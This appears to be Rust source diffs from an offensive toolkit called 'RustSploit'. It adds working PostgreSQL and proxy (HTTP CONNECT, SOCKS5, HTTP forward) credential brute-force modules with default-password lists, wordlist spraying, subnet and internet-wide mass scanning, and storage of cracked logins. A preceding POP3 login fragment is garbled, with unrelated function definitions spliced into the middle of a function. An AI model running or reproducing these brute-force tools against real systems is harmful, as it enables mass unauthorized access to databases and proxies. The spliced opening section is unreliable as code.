if String::from_utf8_lossy(&buffer[..n]).starts_with("+OK") {
if let Err(e) = stream.write_all(b"QUIT\r\n") { crate::meprintln!("[!] POP3 QUIT write error: {}", e); }
if let Err(e) = stream.flush() { crate::meprintln!("[!] Flush error: {}", e); }
return Ok(true);
}
Ok(false)
}
fn read_lines(path: &str) -> Result<Vec<String>> {
let file = File::open(path).context(format!("Open: {}", path))?;
Ok(BufReader::new(file).lines().filter_map(Result::ok).filter(|s|!s.trim().is_empty()).collect())
}
fn attempt_pop3_login(target: &str, port: u16, user: &str, pass: &str, use_ssl: bool, timeout_secs: u64) -> std::result::Result<bool, Pop3Error> {
let addr = format!("{}:{}", target, port);
let timeout = Duration::from_secs(timeout_secs);
fn save_results(path: &str, creds: &[(String, String)]) -> Result<()> {
let mut file = OpenOptions::new().create(true).write(true).truncate(true).open(path)?;
for (u,p) in creds { writeln!(file, "{}:{}", u, p)?; }
Ok(())
}
let socket_addr = std::net::ToSocketAddrs::to_socket_addrs(&addr)
.map_err(|e| Pop3Error::from_anyhow(e.into()))?
.next()
.ok_or_else(|| Pop3Error { error_type: Pop3ErrorType::ConnectionRefused, message: "Resolution failed".to_string() })?;
let stream = crate::utils::blocking_tcp_connect(&socket_addr, timeout)
.map_err(|e| Pop3Error::from_anyhow(e.into()))?;
if let Err(e) = stream.set_nodelay(true) { crate::meprintln!("[!] Socket option error: {}", e); }
stream.set_read_timeout(Some(timeout)).map_err(|e| Pop3Error::from_anyhow(e.into()))?;
stream.set_write_timeout(Some(timeout)).map_err(|e| Pop3Error::from_anyhow(e.into()))?;
fn prompt(msg: &str) -> String {
print!("{}", msg); io::stdout().flush().unwrap(); let mut b = String::new(); io::stdin().read_line(&mut b).unwrap(); b.trim().to_string()
}
fn normalize_target(host: &str, port: u16) -> Result<String> {
let re = Regex::new(r"^\[*([^\]]+?)\]*(?::(\d{1,5}))?$" ).unwrap();
let t = host.trim();
let cap = re.captures(t).ok_or_else(|| anyhow::anyhow!("Invalid target: {}", host))?;
let addr = cap.get(1).unwrap().as_str();
let p = cap.get(2).map(|m| m.as_str().parse::<u16>().ok()).flatten().unwrap_or(port);
let f = if addr.contains(':') && !addr.starts_with('[') { format!("[{}]:{}", addr, p) } else { format!("{}:{}", addr, p) };
if f.to_socket_addrs()?.next().is_none() { Err(anyhow::anyhow!("DNS fail: {}", f)) } else { Ok(f) }
}
fn get_hostname(target: &str) -> String {
if let Some(idx) = target.find(':') { target[..idx].trim_matches('[').trim_matches(']').to_string() } else { target.trim_matches('[').trim_matches(']').to_string() }
if use_ssl {
let connector = TlsConnector::new().map_err(|e| Pop3Error {
error_type: Pop3ErrorType::TlsError,
message: e.to_string(),
})?;
let mut tls_stream = connector.connect(target, stream).map_err(|e| Pop3Error {
error_type: Pop3ErrorType::TlsError,
message: e.to_string(),
})?;
pop3_authenticate(&mut tls_stream, user, pass)
} else {
let mut plain_stream = stream;
pop3_authenticate(&mut plain_stream, user, pass)
}
}
@@ -0,0 +1,714 @@
//! PostgreSQL Brute Force Module
//!
//! Raw TCP wire-protocol implementation of PostgreSQL v3 authentication.
//! Supports cleartext and MD5 password auth methods.
//!
//! Protocol flow:
//! 1. Send StartupMessage (protocol 3.0, user, database)
//! 2. Read Authentication request:
//! - Type 0: AuthenticationOk (no password needed)
//! - Type 3: CleartextPassword -> send PasswordMessage(password)
//! - Type 5: MD5Password + 4-byte salt -> send "md5" + MD5(MD5(password+user) + salt)
//! 3. Read response: 'R' type 0 = success, 'E' = error
use anyhow::{anyhow, Result};
use colored::*;
// md5 crate 0.8 uses md5::compute(), not the Digest trait
use std::io::Write;
use std::net::IpAddr;
use std::time::Duration;
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio::net::TcpStream;
use crate::utils::{
generate_combos_mode, parse_combo_mode, load_credential_file,
is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
run_subnet_bruteforce, BruteforceConfig, LoginResult, MassScanConfig, SubnetScanConfig,
};
use crate::utils::{
cfg_prompt_default, cfg_prompt_existing_file, cfg_prompt_output_file,
cfg_prompt_port, cfg_prompt_yes_no, get_filename_in_current_dir, load_lines, normalize_target,
};
// ============================================================================
// Constants
// ============================================================================
const DEFAULT_PG_PORT: u16 = 5432;
const CONNECT_TIMEOUT_MS: u64 = 5000;
const READ_TIMEOUT_MS: u64 = 5000;
const DEFAULT_DATABASE: &str = "postgres";
const DEFAULT_CREDENTIALS: &[(&str, &str)] = &[
("postgres", "postgres"),
("postgres", ""),
("postgres", "password"),
("postgres", "123456"),
("admin", "admin"),
("admin", "password"),
("root", "root"),
("pgsql", "pgsql"),
];
// ============================================================================
// Module Info
// ============================================================================
pub fn info() -> crate::module_info::ModuleInfo {
crate::module_info::ModuleInfo {
name: "PostgreSQL Brute Force".to_string(),
description: "Brute-force PostgreSQL authentication over raw TCP using protocol v3. \
Supports cleartext and MD5 password auth methods. Includes default credential \
testing, wordlist combo mode, subnet scanning, and mass scan."
.to_string(),
authors: vec!["RustSploit Contributors".to_string()],
references: vec![
"https://www.postgresql.org/docs/current/protocol-flow.html".to_string(),
],
disclosure_date: None,
rank: crate::module_info::ModuleRank::Normal,
}
}
// ============================================================================
// Main Entry Point
// ============================================================================
pub async fn run(target: &str) -> Result<()> {
crate::mprintln!("{}", "=== PostgreSQL Brute Force Module ===".bold());
crate::mprintln!("[*] Target: {}", target);
// --- Mass Scan Mode ---
if is_mass_scan_target(target) {
crate::mprintln!(
"{}",
format!("[*] Target: {} -- Mass Scan Mode", target).yellow()
);
return run_mass_scan(
target,
MassScanConfig {
protocol_name: "PostgreSQL",
default_port: DEFAULT_PG_PORT,
state_file: "postgres_brute_hose_state.log",
default_output: "postgres_mass_results.txt",
default_concurrency: 200,
},
move |ip, port| async move {
if !crate::utils::tcp_port_open(ip, port, Duration::from_secs(5)).await {
return None;
}
let addr = format!("{}:{}", ip, port);
let creds = [
("postgres", "postgres"),
("postgres", ""),
("postgres", "password"),
("admin", "admin"),
];
for (user, pass) in creds {
match try_pg_auth(&addr, user, pass, DEFAULT_DATABASE).await {
PgResult::Success => {
let ts = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
return Some(format!("[{}] {}:{}:{}:{}\n", ts, ip, port, user, pass));
}
PgResult::ConnectionError(_) => return None,
PgResult::AuthFailed | PgResult::ProtocolError(_) => {}
}
}
None
},
)
.await;
}
// --- Subnet Scan Mode ---
if is_subnet_target(target) {
crate::mprintln!(
"{}",
format!("[*] Target: {} (Subnet Scan)", target).cyan()
);
let port: u16 = cfg_prompt_port("port", "PostgreSQL Port", DEFAULT_PG_PORT).await?;
let database =
cfg_prompt_default("database", "Target database", DEFAULT_DATABASE).await?;
let usernames_file =
cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
let passwords_file =
cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
let users = load_lines(&usernames_file)?;
let passes = load_lines(&passwords_file)?;
if users.is_empty() {
return Err(anyhow!("User list empty"));
}
if passes.is_empty() {
return Err(anyhow!("Pass list empty"));
}
let concurrency: usize = {
let input = cfg_prompt_default("concurrency", "Max concurrent hosts", "10").await?;
input.parse::<usize>().unwrap_or(10).max(1).min(256)
};
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
let output_file = cfg_prompt_output_file(
"output_file",
"Output result file",
"postgres_subnet_results.txt",
)
.await?;
return run_subnet_bruteforce(
target,
port,
users,
passes,
&SubnetScanConfig {
concurrency,
verbose,
output_file,
service_name: "postgresql",
jitter_ms: 50,
source_module: "creds/generic/postgres_credcheck",
skip_tcp_check: false,
},
move |ip: IpAddr, port: u16, user: String, pass: String| {
let db = database.clone();
async move {
let addr = format!("{}:{}", ip, port);
match try_pg_auth(&addr, &user, &pass, &db).await {
PgResult::Success => LoginResult::Success,
PgResult::AuthFailed => LoginResult::AuthFailed,
PgResult::ConnectionError(e) => LoginResult::Error {
message: e,
retryable: true,
},
PgResult::ProtocolError(e) => LoginResult::Error {
message: e,
retryable: false,
},
}
}
},
)
.await;
}
// --- Single Target Mode ---
let port: u16 = cfg_prompt_port("port", "PostgreSQL Port", DEFAULT_PG_PORT).await?;
let database =
cfg_prompt_default("database", "Target database", DEFAULT_DATABASE).await?;
let use_defaults =
cfg_prompt_yes_no("use_defaults", "Try default credentials first?", true).await?;
let usernames_file =
if cfg_prompt_yes_no("use_username_wordlist", "Use username wordlist?", true).await? {
Some(cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?)
} else {
None
};
let passwords_file =
if cfg_prompt_yes_no("use_password_wordlist", "Use password wordlist?", true).await? {
Some(cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?)
} else {
None
};
if !use_defaults && usernames_file.is_none() && passwords_file.is_none() {
return Err(anyhow!(
"At least one wordlist or default credentials must be enabled"
));
}
let concurrency: usize = {
let input = cfg_prompt_default("concurrency", "Max concurrent tasks", "10").await?;
input.parse::<usize>().unwrap_or(10).max(1).min(256)
};
let stop_on_success =
cfg_prompt_yes_no("stop_on_success", "Stop on first success?", true).await?;
let save_results = cfg_prompt_yes_no("save_results", "Save results to file?", true).await?;
let save_path = if save_results {
Some(
cfg_prompt_output_file("output_file", "Output file", "postgres_brute_results.txt")
.await?,
)
} else {
None
};
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
let retry_on_error =
cfg_prompt_yes_no("retry_on_error", "Retry on connection errors?", true).await?;
let max_retries: usize = if retry_on_error {
let input = cfg_prompt_default("max_retries", "Max retries per attempt", "2").await?;
input.parse::<usize>().unwrap_or(2).max(1).min(10)
} else {
0
};
// Load wordlists
let mut usernames = Vec::new();
if let Some(ref file) = usernames_file {
usernames = load_lines(file)?;
if usernames.is_empty() {
crate::mprintln!("{}", "[!] Username wordlist is empty.".yellow());
} else {
crate::mprintln!(
"{}",
format!("[*] Loaded {} usernames", usernames.len()).green()
);
}
}
let mut passwords = Vec::new();
if let Some(ref file) = passwords_file {
passwords = load_lines(file)?;
if passwords.is_empty() {
crate::mprintln!("{}", "[!] Password wordlist is empty.".yellow());
} else {
crate::mprintln!(
"{}",
format!("[*] Loaded {} passwords", passwords.len()).green()
);
}
}
// Add default credentials if requested
if use_defaults {
for (user, pass) in DEFAULT_CREDENTIALS {
if !usernames.contains(&user.to_string()) {
usernames.push(user.to_string());
}
if !passwords.contains(&pass.to_string()) {
passwords.push(pass.to_string());
}
}
crate::mprintln!(
"{}",
format!(
"[*] Added {} default credentials",
DEFAULT_CREDENTIALS.len()
)
.green()
);
}
if usernames.is_empty() {
return Err(anyhow!("No usernames available"));
}
if passwords.is_empty() {
return Err(anyhow!("No passwords available"));
}
let mut combos = generate_combos_mode(&usernames, &passwords, parse_combo_mode(&combo_input));
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
combos.extend(load_credential_file(&cred_path)?);
}
crate::mprintln!(
"\n{}",
format!(
"[*] Starting PostgreSQL brute-force on {}:{} ({} combos, {} threads, db={})",
target,
port,
combos.len(),
concurrency,
database
)
.cyan()
);
let try_login = move |t: String, p: u16, user: String, pass: String| {
let db = database.clone();
async move {
let addr = normalize_target(&format!("{}:{}", t, p))
.unwrap_or_else(|_| format!("{}:{}", t, p));
match try_pg_auth(&addr, &user, &pass, &db).await {
PgResult::Success => LoginResult::Success,
PgResult::AuthFailed => LoginResult::AuthFailed,
PgResult::ConnectionError(e) => LoginResult::Error {
message: e,
retryable: true,
},
PgResult::ProtocolError(e) => LoginResult::Error {
message: e,
retryable: false,
},
}
}
};
let result = run_bruteforce(
&BruteforceConfig {
target: target.to_string(),
port,
concurrency,
stop_on_success,
verbose,
delay_ms: 0,
max_retries,
service_name: "postgresql",
jitter_ms: 50,
source_module: "creds/generic/postgres_credcheck",
},
combos,
try_login,
)
.await?;
result.print_found();
if let Some(ref path) = save_path {
result.save_to_file(path)?;
}
// Unknown / errored attempts
if !result.errors.is_empty() {
crate::mprintln!(
"{}",
format!(
"[?] Collected {} unknown/errored PostgreSQL responses.",
result.errors.len()
)
.yellow()
.bold()
);
if cfg_prompt_yes_no(
"save_unknown_responses",
"Save unknown responses to file?",
true,
)
.await?
{
let default_name = "postgres_unknown_responses.txt";
let fname = cfg_prompt_output_file(
"unknown_responses_file",
"What should the unknown results be saved as?",
default_name,
)
.await?;
let filename = get_filename_in_current_dir(&fname);
use std::os::unix::fs::OpenOptionsExt;
let mut opts = std::fs::OpenOptions::new();
opts.write(true).create(true).truncate(true);
opts.mode(0o600);
match opts.open(&filename) {
Ok(mut file) => {
writeln!(
file,
"# PostgreSQL Bruteforce Unknown/Errored Responses (host,user,pass,error)"
)?;
for (host, user, pass, msg) in &result.errors {
writeln!(file, "{} -> {}:{} - {}", host, user, pass, msg)?;
}
file.flush()?;
crate::mprintln!(
"{}",
format!("[+] Unknown responses saved to '{}'", filename.display()).green()
);
}
Err(e) => {
crate::mprintln!(
"{}",
format!(
"[!] Could not create unknown response file '{}': {}",
filename.display(),
e
)
.red()
);
}
}
}
}
Ok(())
}
// ============================================================================
// PostgreSQL Wire Protocol Implementation
// ============================================================================
#[derive(Debug)]
enum PgResult {
Success,
AuthFailed,
ConnectionError(String),
ProtocolError(String),
}
/// Build a PostgreSQL StartupMessage (protocol v3.0).
///
/// Format: length (4 bytes, includes self) + protocol (4 bytes) + key-value pairs + terminator.
fn build_startup_message(user: &str, database: &str) -> Vec<u8> {
let mut params = Vec::new();
// user parameter
params.extend_from_slice(b"user\0");
params.extend_from_slice(user.as_bytes());
params.push(0);
// database parameter
params.extend_from_slice(b"database\0");
params.extend_from_slice(database.as_bytes());
params.push(0);
// client_encoding parameter
params.extend_from_slice(b"client_encoding\0");
params.extend_from_slice(b"UTF8\0");
// terminator
params.push(0);
// protocol version 3.0 = 196608
let protocol_version: u32 = 196608;
// total length = 4 (length) + 4 (protocol) + params
let total_len = (4 + 4 + params.len()) as u32;
let mut msg = Vec::with_capacity(total_len as usize);
msg.extend_from_slice(&total_len.to_be_bytes());
msg.extend_from_slice(&protocol_version.to_be_bytes());
msg.extend_from_slice(&params);
msg
}
/// Build a PasswordMessage for PostgreSQL.
///
/// Format: 'p' + length (4 bytes, includes self) + password string + null terminator.
fn build_password_message(password: &str) -> Vec<u8> {
let pass_bytes = password.as_bytes();
let len = (4 + pass_bytes.len() + 1) as u32; // length includes itself + string + null
let mut msg = Vec::with_capacity(1 + len as usize);
msg.push(b'p');
msg.extend_from_slice(&len.to_be_bytes());
msg.extend_from_slice(pass_bytes);
msg.push(0);
msg
}
/// Compute PostgreSQL MD5 auth response.
///
/// inner = md5(password + username)
/// result = "md5" + md5(hex(inner) + salt)
fn compute_md5_password(user: &str, password: &str, salt: &[u8; 4]) -> String {
// inner = MD5(password + username)
let mut inner_input = Vec::with_capacity(password.len() + user.len());
inner_input.extend_from_slice(password.as_bytes());
inner_input.extend_from_slice(user.as_bytes());
let inner = md5::compute(&inner_input);
let inner_hex = format!("{:x}", inner);
// outer = MD5(hex(inner) + salt)
let mut outer_input = Vec::with_capacity(inner_hex.len() + 4);
outer_input.extend_from_slice(inner_hex.as_bytes());
outer_input.extend_from_slice(salt);
let outer = md5::compute(&outer_input);
format!("md5{:x}", outer)
}
/// Read a PostgreSQL message: 1-byte type + 4-byte length (BE, includes self) + payload.
async fn read_pg_message(stream: &mut TcpStream) -> Result<(u8, Vec<u8>)> {
let mut header = [0u8; 5];
tokio::time::timeout(Duration::from_millis(READ_TIMEOUT_MS), stream.read_exact(&mut header))
.await
.map_err(|_| anyhow!("Timeout reading PostgreSQL message"))?
.map_err(|e| anyhow!("Failed to read message header: {}", e))?;
let msg_type = header[0];
let length = u32::from_be_bytes([header[1], header[2], header[3], header[4]]);
if length < 4 {
return Err(anyhow!("Invalid message length: {}", length));
}
let payload_len = (length - 4) as usize;
if payload_len > 65_536 {
return Err(anyhow!("PostgreSQL message too large: {} bytes", payload_len));
}
let mut payload = vec![0u8; payload_len];
if payload_len > 0 {
tokio::time::timeout(
Duration::from_millis(READ_TIMEOUT_MS),
stream.read_exact(&mut payload),
)
.await
.map_err(|_| anyhow!("Timeout reading PostgreSQL payload"))?
.map_err(|e| anyhow!("Failed to read payload: {}", e))?;
}
Ok((msg_type, payload))
}
/// Attempt PostgreSQL authentication against a target address.
async fn try_pg_auth(addr: &str, username: &str, password: &str, database: &str) -> PgResult {
// TCP connect with timeout
let mut stream = match crate::utils::network::tcp_connect(addr, Duration::from_millis(CONNECT_TIMEOUT_MS)).await {
Ok(s) => s,
Err(e) => return PgResult::ConnectionError(format!("Connect failed: {}", e)),
};
// Send StartupMessage
let startup = build_startup_message(username, database);
if let Err(e) = stream.write_all(&startup).await {
return PgResult::ConnectionError(format!("Failed to send startup: {}", e));
}
if let Err(e) = stream.flush().await {
return PgResult::ConnectionError(format!("Failed to flush: {}", e));
}
// Read server response - may get multiple messages
loop {
let (msg_type, payload) = match read_pg_message(&mut stream).await {
Ok(m) => m,
Err(e) => {
return PgResult::ConnectionError(format!("Failed to read response: {}", e))
}
};
match msg_type {
b'R' => {
// Authentication message
if payload.len() < 4 {
return PgResult::ProtocolError("Auth message too short".to_string());
}
let auth_type = u32::from_be_bytes([payload[0], payload[1], payload[2], payload[3]]);
match auth_type {
0 => {
// AuthenticationOk - success!
return PgResult::Success;
}
3 => {
// CleartextPassword requested
let pass_msg = build_password_message(password);
if let Err(e) = stream.write_all(&pass_msg).await {
return PgResult::ConnectionError(format!(
"Failed to send password: {}",
e
));
}
if let Err(e) = stream.flush().await {
return PgResult::ConnectionError(format!("Flush error: {}", e));
}
// Continue loop to read the auth result
}
5 => {
// MD5Password requested - extract 4-byte salt
if payload.len() < 8 {
return PgResult::ProtocolError(
"MD5 auth message too short (no salt)".to_string(),
);
}
let mut salt = [0u8; 4];
salt.copy_from_slice(&payload[4..8]);
let md5_pass = compute_md5_password(username, password, &salt);
let pass_msg = build_password_message(&md5_pass);
if let Err(e) = stream.write_all(&pass_msg).await {
return PgResult::ConnectionError(format!(
"Failed to send MD5 password: {}",
e
));
}
if let Err(e) = stream.flush().await {
return PgResult::ConnectionError(format!("Flush error: {}", e));
}
// Continue loop to read the auth result
}
10 => {
// SASL authentication (SCRAM-SHA-256) -- not supported in this module
return PgResult::ProtocolError(
"SCRAM-SHA-256 auth not supported (use password or md5 in pg_hba.conf)"
.to_string(),
);
}
other => {
return PgResult::ProtocolError(format!(
"Unsupported auth type: {}",
other
));
}
}
}
b'E' => {
// ErrorResponse -- parse the message for detail
let msg = parse_pg_error(&payload);
if msg.contains("authentication failed")
|| msg.contains("password authentication failed")
|| msg.contains("no pg_hba.conf entry")
{
return PgResult::AuthFailed;
}
return PgResult::ProtocolError(msg);
}
b'N' => {
// NoticeResponse -- informational, keep reading
continue;
}
b'K' => {
// BackendKeyData -- sent after successful auth, followed by ReadyForQuery
// Continue reading to find ReadyForQuery
continue;
}
b'S' => {
// ParameterStatus -- sent after successful auth
continue;
}
b'Z' => {
// ReadyForQuery -- server is ready, auth was successful
return PgResult::Success;
}
other => {
return PgResult::ProtocolError(format!(
"Unexpected message type: 0x{:02X} ('{}')",
other, other as char
));
}
}
}
}
/// Parse a PostgreSQL ErrorResponse into a human-readable string.
///
/// Format: series of type-byte + null-terminated string pairs, terminated by 0.
fn parse_pg_error(payload: &[u8]) -> String {
let mut messages = Vec::new();
let mut pos = 0;
while pos < payload.len() {
let field_type = payload[pos];
pos += 1;
if field_type == 0 {
break;
}
// Find null terminator
let start = pos;
while pos < payload.len() && payload[pos] != 0 {
pos += 1;
}
let value = String::from_utf8_lossy(&payload[start..pos]).to_string();
pos += 1; // skip null terminator
match field_type {
b'S' => messages.push(format!("Severity: {}", value)),
b'M' => messages.push(value.clone()),
b'C' => messages.push(format!("Code: {}", value)),
_ => {}
}
}
if messages.is_empty() {
"Unknown PostgreSQL error".to_string()
} else {
messages.join("; ")
}
}
@@ -0,0 +1,382 @@
//! Proxy Authentication Bruteforce Module
//!
//! Bruteforces authenticated proxies: HTTP CONNECT (Basic/Digest),
//! SOCKS5 username/password, and HTTP forward proxies.
//!
//! FOR AUTHORIZED PENETRATION TESTING ONLY.
use anyhow::{anyhow, Result};
use colored::*;
use std::net::IpAddr;
use std::sync::Arc;
use std::time::Duration;
use base64::Engine as _;
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use crate::utils::{
cfg_prompt_default, cfg_prompt_existing_file, cfg_prompt_int_range,
cfg_prompt_output_file, cfg_prompt_port, cfg_prompt_yes_no,
load_lines, normalize_target,
};
use crate::utils::{
generate_combos_mode, parse_combo_mode, load_credential_file,
BruteforceConfig, LoginResult, SubnetScanConfig,
run_bruteforce, run_subnet_bruteforce,
is_mass_scan_target, is_subnet_target, run_mass_scan, MassScanConfig,
};
pub fn info() -> crate::module_info::ModuleInfo {
crate::module_info::ModuleInfo {
name: "Proxy Bruteforce".to_string(),
description: "Bruteforces proxy authentication for HTTP CONNECT (Basic auth), SOCKS5 (username/password), and HTTP forward proxies. Supports combo, spray, and credential file modes.".to_string(),
authors: vec!["RustSploit Contributors".to_string()],
references: vec![],
disclosure_date: None,
rank: crate::module_info::ModuleRank::Normal,
}
}
// ============================================================================
// PROXY AUTH TYPES
// ============================================================================
#[derive(Clone, Copy, Debug)]
enum ProxyType {
HttpConnect,
Socks5,
HttpForward,
}
impl ProxyType {
fn from_str(s: &str) -> Self {
match s.trim().to_lowercase().as_str() {
"socks5" | "socks" => Self::Socks5,
"http_forward" | "forward" | "transparent" => Self::HttpForward,
_ => Self::HttpConnect,
}
}
fn name(&self) -> &'static str {
match self {
Self::HttpConnect => "HTTP CONNECT",
Self::Socks5 => "SOCKS5",
Self::HttpForward => "HTTP Forward",
}
}
fn default_port(&self) -> u16 {
match self {
Self::HttpConnect => 8080,
Self::Socks5 => 1080,
Self::HttpForward => 3128,
}
}
}
// ============================================================================
// AUTH ATTEMPTS
// ============================================================================
/// Try HTTP CONNECT proxy with Basic auth.
async fn try_http_connect_auth(
target: &str, port: u16, user: &str, pass: &str, timeout_ms: u64,
) -> LoginResult {
let addr = format!("{}:{}", target, port);
let dur = Duration::from_millis(timeout_ms);
let stream = match crate::utils::network::tcp_connect(&addr, dur).await {
Ok(s) => s,
Err(e) => return LoginResult::Error { message: e.to_string(), retryable: true },
};
let mut stream = stream;
// Basic auth header
let cred = base64::engine::general_purpose::STANDARD.encode(format!("{}:{}", user, pass));
let req = format!(
"CONNECT httpbin.org:80 HTTP/1.1\r\nHost: httpbin.org\r\nProxy-Authorization: Basic {}\r\n\r\n",
cred
);
if let Err(e) = tokio::time::timeout(dur, stream.write_all(req.as_bytes())).await {
return LoginResult::Error { message: format!("Write timeout: {}", e), retryable: true };
}
let mut buf = [0u8; 1024];
let n = match tokio::time::timeout(dur, stream.read(&mut buf)).await {
Ok(Ok(n)) if n > 0 => n,
Ok(Ok(_)) => return LoginResult::Error { message: "Empty response".to_string(), retryable: false },
Ok(Err(e)) => return LoginResult::Error { message: e.to_string(), retryable: true },
Err(_) => return LoginResult::Error { message: "Read timeout".to_string(), retryable: true },
};
let resp = String::from_utf8_lossy(&buf[..n]);
if resp.contains("200") {
LoginResult::Success
} else if resp.contains("407") || resp.contains("401") || resp.contains("403") {
LoginResult::AuthFailed
} else {
LoginResult::Error { message: format!("Unexpected: {}", resp.lines().next().unwrap_or("")), retryable: false }
}
}
/// Try SOCKS5 proxy with username/password auth (RFC 1929).
async fn try_socks5_auth(
target: &str, port: u16, user: &str, pass: &str, timeout_ms: u64,
) -> LoginResult {
let addr = format!("{}:{}", target, port);
let dur = Duration::from_millis(timeout_ms);
let mut stream = match crate::utils::network::tcp_connect(&addr, dur).await {
Ok(s) => s,
Err(e) => return LoginResult::Error { message: e.to_string(), retryable: true },
};
// SOCKS5 greeting: version 5, 1 method, username/password (0x02)
if tokio::time::timeout(dur, stream.write_all(&[0x05, 0x01, 0x02])).await.is_err() {
return LoginResult::Error { message: "Greeting timeout".to_string(), retryable: true };
}
let mut buf = [0u8; 2];
match tokio::time::timeout(dur, stream.read_exact(&mut buf)).await {
Ok(Ok(_)) => {}
_ => return LoginResult::Error { message: "Greeting response timeout".to_string(), retryable: true },
}
if buf[0] != 0x05 {
return LoginResult::Error { message: "Not SOCKS5".to_string(), retryable: false };
}
if buf[1] != 0x02 {
return LoginResult::Error { message: format!("Auth method {} not user/pass", buf[1]), retryable: false };
}
// RFC 1929 username/password auth
let user_bytes = user.as_bytes();
let pass_bytes = pass.as_bytes();
if user_bytes.len() > 255 || pass_bytes.len() > 255 {
return LoginResult::Error { message: "Credentials too long (max 255 bytes each)".to_string(), retryable: false };
}
let mut auth_pkt = vec![0x01u8]; // version
auth_pkt.push(user_bytes.len() as u8);
auth_pkt.extend_from_slice(user_bytes);
auth_pkt.push(pass_bytes.len() as u8);
auth_pkt.extend_from_slice(pass_bytes);
if tokio::time::timeout(dur, stream.write_all(&auth_pkt)).await.is_err() {
return LoginResult::Error { message: "Auth write timeout".to_string(), retryable: true };
}
let mut resp = [0u8; 2];
match tokio::time::timeout(dur, stream.read_exact(&mut resp)).await {
Ok(Ok(_)) => {}
_ => return LoginResult::Error { message: "Auth response timeout".to_string(), retryable: true },
}
if resp[1] == 0x00 {
LoginResult::Success
} else {
LoginResult::AuthFailed
}
}
/// Try HTTP forward proxy with Basic auth.
async fn try_http_forward_auth(
target: &str, port: u16, user: &str, pass: &str, timeout_ms: u64,
) -> LoginResult {
let addr = format!("{}:{}", target, port);
let dur = Duration::from_millis(timeout_ms);
let mut stream = match crate::utils::network::tcp_connect(&addr, dur).await {
Ok(s) => s,
Err(e) => return LoginResult::Error { message: e.to_string(), retryable: true },
};
let cred = base64::engine::general_purpose::STANDARD.encode(format!("{}:{}", user, pass));
let req = format!(
"GET http://httpbin.org/ip HTTP/1.1\r\nHost: httpbin.org\r\nProxy-Authorization: Basic {}\r\nConnection: close\r\n\r\n",
cred
);
if tokio::time::timeout(dur, stream.write_all(req.as_bytes())).await.is_err() {
return LoginResult::Error { message: "Write timeout".to_string(), retryable: true };
}
let mut buf = [0u8; 2048];
let n = match tokio::time::timeout(dur, stream.read(&mut buf)).await {
Ok(Ok(n)) if n > 0 => n,
_ => return LoginResult::Error { message: "Read timeout".to_string(), retryable: true },
};
let resp = String::from_utf8_lossy(&buf[..n]);
if resp.contains("200") && resp.contains("origin") {
LoginResult::Success
} else if resp.contains("407") || resp.contains("401") || resp.contains("403") {
LoginResult::AuthFailed
} else {
LoginResult::Error { message: format!("HTTP {}", resp.lines().next().unwrap_or("")), retryable: false }
}
}
/// Dispatch to the right auth function based on proxy type.
async fn try_proxy_auth(
proxy_type: ProxyType, target: &str, port: u16, user: &str, pass: &str, timeout_ms: u64,
) -> LoginResult {
match proxy_type {
ProxyType::HttpConnect => try_http_connect_auth(target, port, user, pass, timeout_ms).await,
ProxyType::Socks5 => try_socks5_auth(target, port, user, pass, timeout_ms).await,
ProxyType::HttpForward => try_http_forward_auth(target, port, user, pass, timeout_ms).await,
}
}
// ============================================================================
// MAIN
// ============================================================================
fn display_banner() {
if crate::utils::is_batch_mode() { return; }
crate::mprintln!("{}", "+=================================================================+".cyan());
crate::mprintln!("{}", "| Proxy Authentication Bruteforce |".cyan());
crate::mprintln!("{}", "| HTTP CONNECT (Basic) | SOCKS5 (RFC 1929) | HTTP Forward |".cyan());
crate::mprintln!("{}", "+=================================================================+".cyan());
crate::mprintln!();
}
pub async fn run(target: &str) -> Result<()> {
// --- Mass scan ---
if is_mass_scan_target(target) {
let proxy_type_input = cfg_prompt_default("proxy_type", "Proxy type (http_connect/socks5/http_forward)", "http_connect").await?;
let proxy_type = ProxyType::from_str(&proxy_type_input);
let users_file = cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
let pass_file = cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
let users = Arc::new(load_lines(&users_file)?);
let passes = Arc::new(load_lines(&pass_file)?);
if users.is_empty() { return Err(anyhow!("Username list empty")); }
if passes.is_empty() { return Err(anyhow!("Password list empty")); }
return run_mass_scan(target, MassScanConfig {
protocol_name: "Proxy",
default_port: proxy_type.default_port(),
state_file: "proxy_brute_mass_state.log",
default_output: "proxy_brute_mass_results.txt",
default_concurrency: 200,
}, move |ip: IpAddr, port: u16| {
let users = users.clone();
let passes = passes.clone();
async move {
// Quick connectivity check
if !crate::utils::tcp_port_open(ip, port, Duration::from_secs(3)).await {
return None;
}
let t = ip.to_string();
for user in users.iter() {
for pass in passes.iter() {
match try_proxy_auth(proxy_type, &t, port, user, pass, 5000).await {
LoginResult::Success => {
let ts = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
let msg = format!("[{}] {}:{} {} auth: {}:{}", ts, ip, port, proxy_type.name(), user, pass);
crate::mprintln!("\r{}", format!("[+] FOUND: {}:{} {}:{}", ip, port, user, pass).green().bold());
crate::cred_store::store_credential(
&t, port, &format!("proxy-{}", proxy_type.name().to_lowercase()),
user, pass, crate::cred_store::CredType::Password,
"creds/generic/proxy_credcheck",
).await;
return Some(format!("{}\n", msg));
}
LoginResult::AuthFailed => continue,
LoginResult::Error { .. } => break, // host issue, skip
}
}
}
None
}
}).await;
}
// --- Subnet scan ---
if is_subnet_target(target) {
let proxy_type_input = cfg_prompt_default("proxy_type", "Proxy type (http_connect/socks5/http_forward)", "http_connect").await?;
let proxy_type = ProxyType::from_str(&proxy_type_input);
let port = cfg_prompt_port("port", &format!("{} port", proxy_type.name()), proxy_type.default_port()).await?;
let users_file = cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
